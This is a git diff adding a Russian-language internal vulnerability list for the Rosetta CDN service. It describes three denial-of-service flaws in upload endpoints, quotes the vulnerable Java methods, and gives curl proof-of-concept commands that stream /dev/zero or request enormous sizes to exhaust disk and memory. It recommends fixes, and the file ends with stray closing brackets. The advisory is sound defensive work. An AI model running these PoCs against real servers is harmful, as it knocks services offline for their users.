diff --git a/rosseta_cdn/Cve.txt b/rosseta_cdn/Cve.txt new file mode 100644 index 0000000..7964e6c --- /dev/null +++ b/rosseta_cdn/Cve.txt @@ -0,0 +1,132 @@ +============================================================ +Rosetta CDN — Local CVE List (критические DoS) +============================================================ + +CVE-2026-0001 (Unrestricted File Upload DoS) +Риск: КРИТИЧЕСКИЙ +URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java + +Описание: +POST /u не ограничивает размер загружаемого файла. Атакующий может передать +бесконечный поток данных, исчерпав всё дисковое пространство и остановив сервис. + +Уязвимый фрагмент (CdnResource.java, метод upload): + + @POST + @Path("u") + @Produces(MediaType.APPLICATION_JSON) + public Response upload( + @FormDataParam("file") InputStream inputStream, + @QueryParam("ttl") Long ttlMinutes, + @QueryParam("ttlMinutes") Long legacyTtlMinutes + ) { + // НЕТ проверки размера InputStream + String tag = fileStore.save(inputStream, resolvedTtlMinutes); + return Response.ok(Map.of("t", tag)).build(); + } + + PoC (эксплуатация): + + # Генерация бесконечного потока нулей и отправка как файл + curl -X POST https://target/u \ + -F "file=@/dev/zero;type=application/octet-stream" \ + -H "Content-Length: 9999999999999" + # Диск сервера заполняется, сервис падает. + + ============================================================ + + CVE-2026-0002 (Chunked Upload Init Resource Exhaustion) + Риск: КРИТИЧЕСКИЙ + URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java + + Описание: + POST /u/init принимает size, chunkSize, chunks без верхних границ. + Злоумышленник может запросить резервирование огромного объёма (например, + size=9223372036854775807), что приводит к выделению памяти/диска и DoS. + + Уязвимый фрагмент (CdnResource.java, метод initChunkedUpload): + + @POST + @Path("u/init") + @Consumes(MediaType.APPLICATION_JSON) + @Produces(MediaType.APPLICATION_JSON) + public Response initChunkedUpload( + ChunkedUploadRequest request, + @QueryParam("ttl") Long ttlMinutes, + @QueryParam("ttlMinutes") Long legacyTtlMinutes + ) { + // Только проверка на null, нет валидации максимума + String tag = fileStore.initChunkedUpload( + request.size(), + request.chunkSize(), + request.chunks(), + resolvedTtlMinutes + ); + ... + } + + PoC (эксплуатация): + + # Инициализация чанковой загрузки с гигантским размером + curl -X POST https://target/u/init \ + -H "Content-Type: application/json" \ + -d '{"size": 9999999999999, "chunkSize": 1, "chunks": 9999999999999}' + # Сервер выделяет ресурсы под этот объём, возможен немедленный отказ. + + ============================================================ + + CVE-2026-0003 (Chunk Upload Size Bypass) + Риск: КРИТИЧЕСКИЙ + URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java + + Описание: + PUT /u/{tag}/chunks/{index} не проверяет фактический размер загружаемого чанка. + Атакующий может отправить чанк размером больше объявленного chunkSize, + переполнив выделенное пространство, либо загрузить больше чанков, чем + зарезервировано, что также ведёт к исчерпанию диска. + + Уязвимый фрагмент (CdnResource.java, метод uploadChunk): + + @PUT + @Path("u/{tag}/chunks/{index}") + @Consumes(MediaType.APPLICATION_OCTET_STREAM) + public Response uploadChunk( + @PathParam("tag") String tag, + @PathParam("index") int index, + InputStream inputStream + ) { + // НЕТ ограничения на количество читаемых байт + fileStore.saveChunk(tag, index, inputStream); + return Response.noContent().build(); + } + + PoC (эксплуатация): + + # 1. Сначала инициализируем загрузку с маленьким chunkSize=1024 + TAG=$(curl -s -X POST https://target/u/init \ + -H "Content-Type: application/json" \ + -d '{"size": 1024, "chunkSize": 1024, "chunks": 1}' | jq -r '.t') + + # 2. Отправляем чанк значительно большего размера (например, 1 ГБ) + curl -X PUT https://target/u/$TAG/chunks/0 \ + -H "Content-Type: application/octet-stream" \ + --data-binary @/dev/zero \ + --limit-rate 100M + + # Чанк записывается полностью, невзирая на заявленный chunkSize. + # Многократное повторение с разными индексами или превышение лимита + # приводит к переполнению диска и отказу сервиса. + + ============================================================ + Общий комментарий: + - Аутентификация отсутствует, любой может вызвать все эндпоинты. + - Проблема приоритетная: необходимо внедрить ограничения размера тела + запроса, валидацию входных параметров и счётчики чанков. + ============================================================9 + } + ) + ) + } + ) + } + ) \ No newline at end of file